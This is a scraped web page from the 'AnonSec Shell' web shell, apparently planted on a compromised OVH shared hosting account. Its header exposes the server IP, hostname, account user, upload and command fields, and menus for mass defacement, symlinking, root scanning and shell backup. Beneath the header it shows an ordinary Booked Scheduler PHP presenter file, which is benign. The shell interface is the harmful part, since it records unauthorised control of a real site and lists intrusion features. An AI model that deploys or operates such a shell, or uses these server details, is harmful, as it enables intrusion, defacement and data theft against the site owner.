. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 94.23.64.18  /  Your IP : 216.73.216.185   [ Reverse IP ]
Web Server : Apache
System : Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : villadal ( 6036)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/villadal/www/old/booked/Presenters/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/villadal/www/old/booked/Presenters/Admin/ManageUsersPresenter.php
<?php
/**
Copyright 2011-2014 Nick Korbel

This file is part of Booked Scheduler.

Booked Scheduler is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

Booked Scheduler is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with Booked Scheduler.  If not, see <http://www.gnu.org/licenses/>.
 */

require_once(ROOT_DIR . 'Domain/Access/namespace.php');
require_once(ROOT_DIR . 'Presenters/ActionPresenter.php');
require_once(ROOT_DIR . 'lib/Application/Authentication/namespace.php');
require_once(ROOT_DIR . 'lib/Application/User/namespace.php');

class ManageUsersActions
{
	const Activate = 'activate';
	const AddUser = 'addUser';
	const ChangeAttributes = 'changeAttributes';
	const Deactivate = 'deactivate';
	const DeleteUser = 'deleteUser';
	const Password = 'password';
	const Permissions = 'permissions';
	const UpdateUser = 'updateUser';
	const ChangeColor = 'changeColor';
}

interface IManageUsersPresenter
{
	public function AddUser();

	public function UpdateUser();
}

class ManageUsersPresenter extends ActionPresenter implements IManageUsersPresenter
{
	/**
	 * @var \IManageUsersPage
	 */
	private $page;

	/**
	 * @var \UserRepository
	 */
	private $userRepository;

	/**
	 * @var ResourceRepository
	 */
	private $resourceRepository;

	/**
	 * @var PasswordEncryption
	 */
	private $passwordEncryption;

	/**
	 * @var IManageUsersService
	 */
	private $manageUsersService;

	/**
	 * @var IAttributeService
	 */
	private $attributeService;

	/**
	 * @var IGroupRepository
	 */
	private $groupRepository;

	/**
	 * @var IGroupViewRepository
	 */
	private $groupViewRepository;

	/**
	 * @param \IGroupRepository $groupRepository
	 */
	public function SetGroupRepository($groupRepository)
	{
		$this->groupRepository = $groupRepository;
	}

	/**
	 * @param \IGroupViewRepository $groupViewRepository
	 */
	public function SetGroupViewRepository($groupViewRepository)
	{
		$this->groupViewRepository = $groupViewRepository;
	}

	/**
	 * @param \IAttributeService $attributeService
	 */
	public function SetAttributeService($attributeService)
	{
		$this->attributeService = $attributeService;
	}

	/**
	 * @param \IManageUsersService $manageUsersService
	 */
	public function SetManageUsersService($manageUsersService)
	{
		$this->manageUsersService = $manageUsersService;
	}

	/**
	 * @param \ResourceRepository $resourceRepository
	 */
	public function SetResourceRepository($resourceRepository)
	{
		$this->resourceRepository = $resourceRepository;
	}

	/**
	 * @param \UserRepository $userRepository
	 */
	public function SetUserRepository($userRepository)
	{
		$this->userRepository = $userRepository;
	}

	/**
	 * @param IManageUsersPage $page
	 * @param UserRepository $userRepository
	 * @param IResourceRepository $resourceRepository
	 * @param PasswordEncryption $passwordEncryption
	 * @param IManageUsersService $manageUsersService
	 * @param IAttributeService $attributeService
	 * @param IGroupRepository $groupRepository
	 * @param IGroupViewRepository $groupViewRepository
	 */
	public function __construct(IManageUsersPage $page,
								UserRepository $userRepository,
								IResourceRepository $resourceRepository,
								PasswordEncryption $passwordEncryption,
								IManageUsersService $manageUsersService,
								IAttributeService $attributeService,
								IGroupRepository $groupRepository,
								IGroupViewRepository $groupViewRepository)
	{
		parent::__construct($page);

		$this->page = $page;
		$this->userRepository = $userRepository;
		$this->resourceRepository = $resourceRepository;
		$this->passwordEncryption = $passwordEncryption;
		$this->manageUsersService = $manageUsersService;
		$this->attributeService = $attributeService;
		$this->groupRepository = $groupRepository;
		$this->groupViewRepository = $groupViewRepository;

		$this->AddAction(ManageUsersActions::Activate, 'Activate');
		$this->AddAction(ManageUsersActions::AddUser, 'AddUser');
		$this->AddAction(ManageUsersActions::Deactivate, 'Deactivate');
		$this->AddAction(ManageUsersActions::DeleteUser, 'DeleteUser');
		$this->AddAction(ManageUsersActions::Password, 'ResetPassword');
		$this->AddAction(ManageUsersActions::Permissions, 'ChangePermissions');
		$this->AddAction(ManageUsersActions::UpdateUser, 'UpdateUser');
		$this->AddAction(ManageUsersActions::ChangeAttributes, 'ChangeAttributes');
		$this->AddAction(ManageUsersActions::ChangeColor, 'ChangeColor');
	}

	public function PageLoad()
	{
		if ($this->page->GetUserId() != null)
		{
			$userList = $this->userRepository->GetList(1, 1, null, null,
													   new SqlFilterEquals(ColumnNames::USER_ID, $this->page->GetUserId()));
		}
		else
		{
			$userList = $this->userRepository->GetList($this->page->GetPageNumber(), $this->page->GetPageSize(), null,
													   null, null, $this->page->GetFilterStatusId());
		}

		$this->page->BindUsers($userList->Results());
		$this->page->BindPageInfo($userList->PageInfo());

		$groups = $this->groupViewRepository->GetList();
		$this->page->BindGroups($groups->Results());

		$resources = array();

		$user = $this->userRepository->LoadById(ServiceLocator::GetServer()->GetUserSession()->UserId);

		$allResources = $this->resourceRepository->GetResourceList();
		foreach ($allResources as $resource)
		{
			if ($user->IsResourceAdminFor($resource))
			{
				$resources[] = $resource;
			}
		}
		$this->page->BindResources($resources);

		$userIds = array();
		/** @var $user UserItemView */
		foreach ($userList->Results() as $user)
		{
			$userIds[] = $user->Id;
		}
		$attributeList = $this->attributeService->GetAttributes(CustomAttributeCategory::USER, $userIds);
		$this->page->BindAttributeList($attributeList);
	}

	public function Deactivate()
	{
		$user = $this->userRepository->LoadById($this->page->GetUserId());
		$user->Deactivate();
		$this->userRepository->Update($user);
	}

	public function Activate()
	{
		$user = $this->userRepository->LoadById($this->page->GetUserId());
		$user->Activate();
		$this->userRepository->Update($user);
	}

	public function AddUser()
	{
		$userId = $this->manageUsersService->AddUser(
			$this->page->GetUserName(),
			$this->page->GetEmail(),
			$this->page->GetFirstName(),
			$this->page->GetLastName(),
			$this->page->GetPassword(),
			$this->page->GetTimezone(),
			Configuration::Instance()->GetKey(ConfigKeys::LANGUAGE),
			Pages::DEFAULT_HOMEPAGE_ID,
			array(),
			$this->GetAttributeValues());

		$groupId = $this->page->GetUserGroup();

		if (!empty($groupId))
		{
			$group = $this->groupRepository->LoadById($groupId);
			$group->AddUser($userId);
			$this->groupRepository->Update($group);
		}
	}

	public function UpdateUser()
	{
		Log::Debug('Updating user %s', $this->page->GetUserId());

		$extraAttributes = array(
			UserAttribute::Organization => $this->page->GetOrganization(),
			UserAttribute::Phone => $this->page->GetPhone(),
			UserAttribute::Position => $this->page->GetPosition());

		$this->manageUsersService->UpdateUser($this->page->GetUserId(),
											  $this->page->GetUserName(),
											  $this->page->GetEmail(),
											  $this->page->GetFirstName(),
											  $this->page->GetLastName(),
											  $this->page->GetTimezone(),
											  $extraAttributes);
	}

	public function DeleteUser()
	{
		$userId = $this->page->GetUserId();
		Log::Debug('Deleting user %s', $userId);

		$this->manageUsersService->DeleteUser($userId);
	}

	public function ChangePermissions()
	{
		$user = $this->userRepository->LoadById($this->page->GetUserId());
		$allowedResources = array();

		if (is_array($this->page->GetAllowedResourceIds()))
		{
			$allowedResources = $this->page->GetAllowedResourceIds();
		}
		$user->ChangePermissions($allowedResources);
		$this->userRepository->Update($user);
	}

	public function ResetPassword()
	{
		$salt = $this->passwordEncryption->Salt();
		$encryptedPassword = $this->passwordEncryption->Encrypt($this->page->GetPassword(), $salt);

		$user = $this->userRepository->LoadById($this->page->GetUserId());
		$user->ChangePassword($encryptedPassword, $salt);
		$this->userRepository->Update($user);
	}

	public function ChangeAttributes()
	{
		$this->manageUsersService->ChangeAttributes($this->page->GetUserId(), $this->GetAttributeValues());
	}

	public function ProcessDataRequest($dataRequest)
	{
		if ($dataRequest == 'permissions')
		{
			$this->page->SetJsonResponse($this->GetUserResourcePermissions());
		}
		elseif ($dataRequest == 'groups')
		{
			$this->page->SetJsonResponse($this->GetUserGroups());
		}
		elseif ($dataRequest == 'all')
		{
			$users = $this->userRepository->GetAll();
			$this->page->SetJsonResponse($users);
		}
	}

	/**
	 * @return int[] all resource ids the user has permission to
	 */
	public function GetUserResourcePermissions()
	{
		$user = $this->userRepository->LoadById($this->page->GetUserId());
		return $user->AllowedResourceIds();
	}

	/**
	 * @return array|AttributeValue[]
	 */
	private function GetAttributeValues()
	{
		$attributes = array();
		foreach ($this->page->GetAttributes() as $attribute)
		{
			$attributes[] = new AttributeValue($attribute->Id, $attribute->Value);
		}
		return $attributes;
	}

	protected function LoadValidators($action)
	{
		if ($action == ManageUsersActions::UpdateUser)
		{
			Log::Debug('Loading validators for %s', $action);

			$this->page->RegisterValidator('emailformat', new EmailValidator($this->page->GetEmail()));
			$this->page->RegisterValidator('uniqueemail',
										   new UniqueEmailValidator($this->userRepository, $this->page->GetEmail(), $this->page->GetUserId()));
			$this->page->RegisterValidator('uniqueusername',
										   new UniqueUserNameValidator($this->userRepository, $this->page->GetUserName(), $this->page->GetUserId()));
		}

		if ($action == ManageUsersActions::AddUser)
		{
			Log::Debug('Loading validators for %s', $action);

			$this->page->RegisterValidator('addUserEmailformat', new EmailValidator($this->page->GetEmail()));
			$this->page->RegisterValidator('addUserUniqueemail',
										   new UniqueEmailValidator($this->userRepository, $this->page->GetEmail()));
			$this->page->RegisterValidator('addUserUsername',
										   new UniqueUserNameValidator($this->userRepository, $this->page->GetUserName()));
			$this->page->RegisterValidator('addAttributeValidator',
										   new AttributeValidator($this->attributeService, CustomAttributeCategory::USER, $this->GetAttributeValues()));
		}

		if ($action == ManageUsersActions::ChangeAttributes)
		{
			Log::Debug('Loading validators for %s', $action);

			$this->page->RegisterValidator('attributeValidator',
										   new AttributeValidator($this->attributeService, CustomAttributeCategory::USER, $this->GetAttributeValues(), $this->page->GetUserId()));
		}
	}

	/***
	 * @return array|int[]
	 */
	public function GetUserGroups()
	{
		$userId = $this->page->GetUserId();

		$user = $this->userRepository->LoadById($userId);

		$groups = array();
		foreach ($user->Groups() as $group)
		{
			$groups[] = $group->GroupId;
		}

		return $groups;
	}

	public function ChangeColor()
	{
		$userId = $this->page->GetUserId();
		Log::Debug('Changing reservation color for userId: %s', $userId);

		$color = $this->page->GetReservationColor();

		$user = $this->userRepository->LoadById($userId);
		$user->ChangePreference(UserPreferences::RESERVATION_COLOR, $color);

		$this->userRepository->Update($user);

	}
}

?>

Anon7 - 2022
AnonSec Team